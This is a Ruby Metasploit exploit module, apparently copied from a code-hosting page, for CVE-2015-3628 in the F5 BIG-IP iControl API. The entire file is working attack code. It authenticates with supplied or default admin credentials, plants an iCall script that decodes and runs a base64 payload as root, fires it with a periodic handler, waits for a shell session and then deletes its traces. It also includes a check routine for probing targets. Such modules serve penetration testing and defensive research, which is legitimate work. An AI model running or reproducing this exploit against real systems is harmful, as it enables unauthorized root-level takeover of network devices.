284 lines
10 KiB
Ruby
284 lines
10 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'nokogiri'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::FileDropper
|
|
|
|
SOAPENV_ENCODINGSTYLE = { "soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/" }
|
|
STRING_ATTRS = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' }
|
|
LONG_ATTRS = { 'xsi:type' => 'urn:Common.ULongSequence', 'soapenc:arrayType' => 'xsd:long[]', 'xmlns:urn' => 'urn:iControl' }
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => "F5 iControl iCall::Script Root Command Execution",
|
|
'Description' => %q{
|
|
This module exploits an authenticated privilege escalation
|
|
vulnerability in the iControl API on the F5 BIG-IP LTM (and likely
|
|
other F5 devices). This requires valid credentials and the Resource
|
|
Administrator role. The exploit should work on BIG-IP 11.3.0
|
|
- 11.6.0, (11.5.x < 11.5.3 HF2 or 11.6.x < 11.6.0 HF6, see references
|
|
for more details)
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'tom', # Discovery, Metasploit module
|
|
'Jon Hart <jon_hart[at]rapid7.com>' # Metasploit module
|
|
],
|
|
'References' =>
|
|
[
|
|
['CVE', '2015-3628'],
|
|
['URL', 'https://support.f5.com/kb/en-us/solutions/public/16000/700/sol16728.html'],
|
|
['URL', 'https://gdssecurity.squarespace.com/labs/2015/9/8/f5-icallscript-privilege-escalation-cve-2015-3628.html']
|
|
],
|
|
'Platform' => ['unix'],
|
|
'Arch' => ARCH_CMD,
|
|
'Targets' =>
|
|
[
|
|
['F5 BIG-IP LTM 11.x', {}]
|
|
],
|
|
'Privileged' => true,
|
|
'DisclosureDate' => "Sep 3 2015",
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(443),
|
|
OptBool.new('SSL', [true, 'Use SSL', true]),
|
|
OptString.new('TARGETURI', [true, 'The base path to the iControl installation', '/iControl/iControlPortal.cgi']),
|
|
OptString.new('HttpUsername', [true, 'The username to authenticate with', 'admin']),
|
|
OptString.new('HttpPassword', [true, 'The password to authenticate with', 'admin'])
|
|
])
|
|
register_advanced_options(
|
|
[
|
|
OptInt.new('SESSION_WAIT', [ true, 'The max time to wait for a session, in seconds', 5 ]),
|
|
OptString.new('PATH', [true, 'Filesystem path for the dropped payload', '/tmp']),
|
|
OptString.new('FILENAME', [false, 'File name of the dropped payload, defaults to random']),
|
|
OptInt.new('ARG_MAX', [true, 'Command line length limit', 131072])
|
|
])
|
|
end
|
|
|
|
def setup
|
|
file = datastore['FILENAME']
|
|
file ||= ".#{Rex::Text.rand_text_alphanumeric(16)}"
|
|
@payload_path = ::File.join(datastore['PATH'], file)
|
|
super
|
|
end
|
|
|
|
def build_xml
|
|
builder = Nokogiri::XML::Builder.new do |xml|
|
|
xml.Envelope do
|
|
xml = xml_add_namespaces(xml)
|
|
xml['soapenv'].Header
|
|
xml['soapenv'].Body do
|
|
yield xml
|
|
end
|
|
end
|
|
end
|
|
builder.to_xml
|
|
end
|
|
|
|
def xml_add_namespaces(xml)
|
|
ns = xml.doc.root.add_namespace_definition("soapenv", "http://schemas.xmlsoap.org/soap/envelope/")
|
|
xml.doc.root.namespace = ns
|
|
xml.doc.root.add_namespace_definition("xsi", "http://www.w3.org/2001/XMLSchema-instance")
|
|
xml.doc.root.add_namespace_definition("xsd", "http://www.w3.org/2001/XMLSchema")
|
|
xml.doc.root.add_namespace_definition("scr", "urn:iControl:iCall/Script")
|
|
xml.doc.root.add_namespace_definition("soapenc", "http://schemas.xmlsoap.org/soap/encoding")
|
|
xml.doc.root.add_namespace_definition("per", "urn:iControl:iCall/PeriodicHandler")
|
|
xml
|
|
end
|
|
|
|
def send_soap_request(pay)
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path),
|
|
'method' => 'POST',
|
|
'data' => pay,
|
|
'username' => datastore['HttpUsername'],
|
|
'password' => datastore['HttpPassword']
|
|
)
|
|
if res
|
|
return res
|
|
else
|
|
vprint_error('No response')
|
|
end
|
|
false
|
|
end
|
|
|
|
def create_script(name, cmd)
|
|
create_xml = build_xml do |xml|
|
|
xml['scr'].create(SOAPENV_ENCODINGSTYLE) do
|
|
xml.scripts(STRING_ATTRS) do
|
|
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
|
|
xml.item name
|
|
end
|
|
xml.definitions(STRING_ATTRS) do
|
|
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
|
|
xml.item cmd
|
|
end
|
|
end
|
|
end
|
|
send_soap_request(create_xml)
|
|
end
|
|
|
|
def delete_script(script_name)
|
|
delete_xml = build_xml do |xml|
|
|
xml['scr'].delete_script(SOAPENV_ENCODINGSTYLE) do
|
|
xml.scripts(STRING_ATTRS) do
|
|
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
|
|
xml.item script_name
|
|
end
|
|
end
|
|
end
|
|
print_error("Error while cleaning up script #{script_name}") unless (res = send_soap_request(delete_xml))
|
|
res
|
|
end
|
|
|
|
def script_exists?(script_name)
|
|
exists_xml = build_xml do |xml|
|
|
xml['scr'].get_list(SOAPENV_ENCODINGSTYLE)
|
|
end
|
|
res = send_soap_request(exists_xml)
|
|
res && res.code == 200 && res.body =~ Regexp.new("/Common/#{script_name}")
|
|
end
|
|
|
|
def create_handler(handler_name, script_name)
|
|
print_status("Creating trigger #{handler_name}")
|
|
handler_xml = build_xml do |xml|
|
|
xml['per'].create(SOAPENV_ENCODINGSTYLE) do
|
|
xml.handlers(STRING_ATTRS) do
|
|
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
|
|
xml.item handler_name
|
|
end
|
|
xml.scripts(STRING_ATTRS) do
|
|
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
|
|
xml.item script_name
|
|
end
|
|
xml.intervals(LONG_ATTRS) do
|
|
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
|
|
# we set this to run once every 24h, but because there is no
|
|
# start/end time it will run once, more or less immediately, and
|
|
# again 24h from now, but by that point hopefully we will have
|
|
# cleaned up and the handler/script/etc are gone
|
|
xml.item 60 * 60 * 24
|
|
end
|
|
end
|
|
end
|
|
res = send_soap_request(handler_xml)
|
|
if res
|
|
if res.code == 200 && res.body =~ Regexp.new("iCall/PeriodicHandler")
|
|
true
|
|
else
|
|
print_error("Trigger creation failed -- HTTP/#{res.proto} #{res.code} #{res.message}")
|
|
false
|
|
end
|
|
else
|
|
print_error("No response to trigger creation")
|
|
false
|
|
end
|
|
end
|
|
|
|
def delete_handler(handler_name)
|
|
delete_xml = build_xml do |xml|
|
|
xml['per'].delete_handler(SOAPENV_ENCODINGSTYLE) do
|
|
xml.handlers(STRING_ATTRS) do
|
|
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
|
|
xml.item handler_name
|
|
end
|
|
end
|
|
end
|
|
|
|
print_error("Error while cleaning up handler #{handler_name}") unless (res = send_soap_request(delete_xml))
|
|
res
|
|
end
|
|
|
|
def handler_exists?(handler_name)
|
|
handler_xml = build_xml do |xml|
|
|
xml['per'].get_list(SOAPENV_ENCODINGSTYLE)
|
|
end
|
|
res = send_soap_request(handler_xml)
|
|
res && res.code == 200 && res.body =~ Regexp.new("/Common/#{handler_name}")
|
|
end
|
|
|
|
def check
|
|
# strategy: we'll send a create_script request, with empty name:
|
|
# if everything is ok, the server return a 500 error saying it doesn't like empty names
|
|
# XXX ignored at the moment: if the user doesn't have enough privileges, 500 error also is returned, but saying 'access denied'.
|
|
# if the user/password is wrong, a 401 error is returned, the server might or might not be vulnerable
|
|
# any other response is considered not vulnerable
|
|
res = create_script('', '')
|
|
if res && res.code == 500 && res.body =~ /path is empty/
|
|
return Exploit::CheckCode::Appears
|
|
elsif res && res.code == 401
|
|
print_warning("HTTP/#{res.proto} #{res.code} #{res.message} -- incorrect USERNAME or PASSWORD?")
|
|
return Exploit::CheckCode::Unknown
|
|
else
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
# phase 1: create iCall script to create file with payload, execute it and remove it.
|
|
shell_cmd = %(echo #{Rex::Text.encode_base64(payload.encoded)}|base64 --decode >#{@payload_path}; chmod +x #{@payload_path};#{@payload_path})
|
|
cmd = %(exec /bin/sh -c "#{shell_cmd}")
|
|
|
|
arg_max = datastore['ARG_MAX']
|
|
if shell_cmd.size > arg_max
|
|
print_error "Payload #{datastore['PAYLOAD']} is too big, try a different payload "\
|
|
"or increasing ARG_MAX (note that payloads bigger than the target's configured ARG_MAX value may fail to execute)"
|
|
return false
|
|
end
|
|
|
|
script_name = "script-#{Rex::Text.rand_text_alphanumeric(16)}"
|
|
print_status("Uploading payload script #{script_name}")
|
|
unless (create_script_res = create_script(script_name, cmd))
|
|
print_error("No response when uploading payload script")
|
|
return false
|
|
end
|
|
unless create_script_res.code == 200
|
|
print_error("Upload payload script failed -- HTTP/#{create_script_res.proto} "\
|
|
"#{create_script_res.code} #{create_script_res.message}")
|
|
return false
|
|
end
|
|
unless script_exists?(script_name)
|
|
print_error("Payload script uploaded successfully but script was not found")
|
|
return false
|
|
end
|
|
register_file_for_cleanup @payload_path
|
|
|
|
# phase 2: create iCall Handler, that will actually run the previously created script
|
|
handler_name = "handler-#{Rex::Text.rand_text_alphanumeric(16)}"
|
|
unless create_handler(handler_name, script_name)
|
|
delete_script(script_name)
|
|
return false
|
|
end
|
|
unless handler_exists?(handler_name)
|
|
print_error("Trigger created successfully but was not found")
|
|
delete_script(script_name)
|
|
return false
|
|
end
|
|
print_status('Waiting for payload to execute...')
|
|
|
|
# if our payload has not been successfully executed just yet, wait
|
|
# until it does or give up
|
|
slept = 0
|
|
until session_created? || slept > datastore['SESSION_WAIT']
|
|
Rex.sleep(1)
|
|
slept += 1
|
|
end
|
|
|
|
print_status('Trying cleanup...')
|
|
delete_script(script_name)
|
|
delete_handler(handler_name)
|
|
end
|
|
end
|